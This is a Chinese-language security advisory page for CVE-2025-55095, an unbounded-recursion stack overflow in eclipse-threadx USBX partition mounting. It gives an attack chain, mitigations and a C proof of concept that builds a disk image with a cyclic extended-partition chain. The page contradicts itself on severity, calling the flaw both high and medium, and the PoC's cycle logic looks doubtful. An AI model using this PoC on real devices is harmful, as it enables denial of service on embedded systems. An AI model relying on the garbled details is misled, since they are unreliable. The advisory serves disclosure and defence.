IPBUF安全漏洞报告
English
CVE-2025-55095 CVSS 4.2 中危

CVE-2025-55095 eclipse-threadx usbx 递归栈溢出漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2025-55095
漏洞类型
栈溢出
CVSS评分
4.2 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
eclipse-threadx/usbx

相关标签

栈溢出递归溢出eclipse-threadxusbxUSB存储拒绝服务CVE-2025-55095嵌入式系统物联网安全

漏洞概述

CVE-2025-55095是eclipse-threadx项目USBX主机栈中的一个高危安全漏洞,存在于USB mass storage设备的分区挂载功能中。该漏洞的CVSS评分为4.2(中危),由安全研究员[email protected]于2026年1月27日披露。漏洞根源在于_ux_host_class_storage_media_mount()函数在处理扩展分区时存在无限制递归调用,当解析包含扩展分区的USB存储设备时,如果分区表中存在循环或过深的扩展分区链,函数将持续递归调用自身直到栈空间耗尽,最终导致栈溢出崩溃。攻击者需要制作包含恶意分区结构的磁盘镜像,并通过本地访问的方式触发漏洞利用。该漏洞影响USBX库在嵌入式系统和物联网设备中的安全使用。

技术细节

漏洞存在于eclipse-threadx/usbx库的_ux_host_class_storage_media_mount()函数中。该函数负责挂载USB mass storage设备上的分区,当解析到扩展分区(partition type为UX_HOST_CLASS_STORAGE_PARTITION_EXTENDED或EXTENDED_LBA_MAPPED)时,会递归调用自身来处理下一个逻辑分区。递归调用路径为:_ux_host_class_storage_media_mount() -> _ux_host_class_storage_partition_read()(解析最多4个分区条目)。关键问题是代码中缺少两个重要的安全机制:1)递归深度限制检查,没有最大递归次数控制;2)访问扇区的去重跟踪,无法检测循环分区链。攻击者可以构造一个包含循环扩展分区指针或超长扩展分区链的恶意磁盘镜像文件,当USBX尝试挂载该设备时,递归调用会无限进行直到栈溢出。由于该函数使用本地攻击向量(AV:L),需要低权限用户权限(PR:L)并涉及用户交互(UI:R),实际利用难度相对较高,但一旦成功可导致设备拒绝服务或潜在的代码执行。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意分区表的磁盘镜像文件,在扩展分区链中构造循环引用或超长链(100+个EBR条目)
STEP 2
步骤2
攻击者通过物理访问或社会工程方式使目标设备挂载该恶意USB存储设备
STEP 3
步骤3
USBX的_ux_host_class_storage_media_mount()函数被调用,开始解析MBR和扩展分区
STEP 4
步骤4
当解析到扩展分区时,函数递归调用自身处理逻辑分区,_ux_host_class_storage_partition_read()解析EBR
STEP 5
步骤5
由于缺少递归深度限制和循环检测,递归持续进行直到栈空间耗尽
STEP 6
步骤6
栈溢出发生,可能导致设备崩溃(拒绝服务)或在特定条件下实现代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> // PoC: Create a malicious disk image with cyclic extended partition chain // to trigger stack overflow in _ux_host_class_storage_media_mount() #pragma pack(push, 1) typedef struct { unsigned char status; unsigned char start_head; unsigned short start_sector:6; unsigned short start_cylinder:10; unsigned char type; unsigned char end_head; unsigned short end_sector:6; unsigned short end_cylinder:10; unsigned int relative_sectors; unsigned int total_sectors; } PartitionEntry; typedef struct { unsigned char bootstrap[446]; PartitionEntry partitions[4]; unsigned short signature; } MBR; #pragma pack(pop) void create_malicious_image(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { perror("Failed to create image"); return; } MBR mbr = {0}; // Primary partition 1: Normal partition mbr.partitions[0].status = 0x80; mbr.partitions[0].type = 0x0C; // FAT32 LBA mbr.partitions[0].relative_sectors = 2048; mbr.partitions[0].total_sectors = 102400; // Primary partition 2: Extended partition (entry point to chain) mbr.partitions[1].status = 0x00; mbr.partitions[1].type = 0x0F; // Extended partition mbr.partitions[1].relative_sectors = 104448; mbr.partitions[1].total_sectors = 102400; // Set EBR chain: Each EBR points back to sector 104448 (cyclic) // This creates infinite recursion in _ux_host_class_storage_media_mount() unsigned int ebr_sector = 104448; for (int i = 0; i < 100; i++) { // Create deep chain fseek(fp, ebr_sector * 512, SEEK_SET); MBR ebr = {0}; ebr.partitions[0].type = 0x07; // NTFS ebr.partitions[0].relative_sectors = 1; ebr.partitions[0].total_sectors = 2047; // Extended partition points to next EBR (creates cycle) if (i < 99) { ebr.partitions[1].type = 0x0F; ebr.partitions[1].relative_sectors = 2048; ebr.partitions[1].total_sectors = 2048; ebr_sector = ebr_sector + 2048; } else { // Last EBR points back to first EBR (cycle) ebr.partitions[1].type = 0x0F; ebr.partitions[1].relative_sectors = 104448; ebr.partitions[1].total_sectors = 2048; } ebr.signature = 0xAA55; fwrite(&ebr, sizeof(MBR), 1, fp); } mbr.signature = 0xAA55; fseek(fp, 0, SEEK_SET); fwrite(&mbr, sizeof(MBR), 1, fp); fclose(fp); printf("Malicious image created: %s\n", filename); printf("Contains cyclic extended partition chain (100 EBRs forming cycle)\n"); } int main() { create_malicious_image("malicious_usb_image.img"); return 0; }

影响范围

eclipse-threadx/usbx < 最新修复版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制设备对未知或不可信USB存储设备的物理访问;2)在USBX配置中禁用不必要的存储设备自动挂载功能;3)使用USB设备过滤器或白名单机制控制可挂载的设备;4)监控设备日志以便及时发现异常的递归调用行为;5)考虑在嵌入式系统中使用硬件级别的USB访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表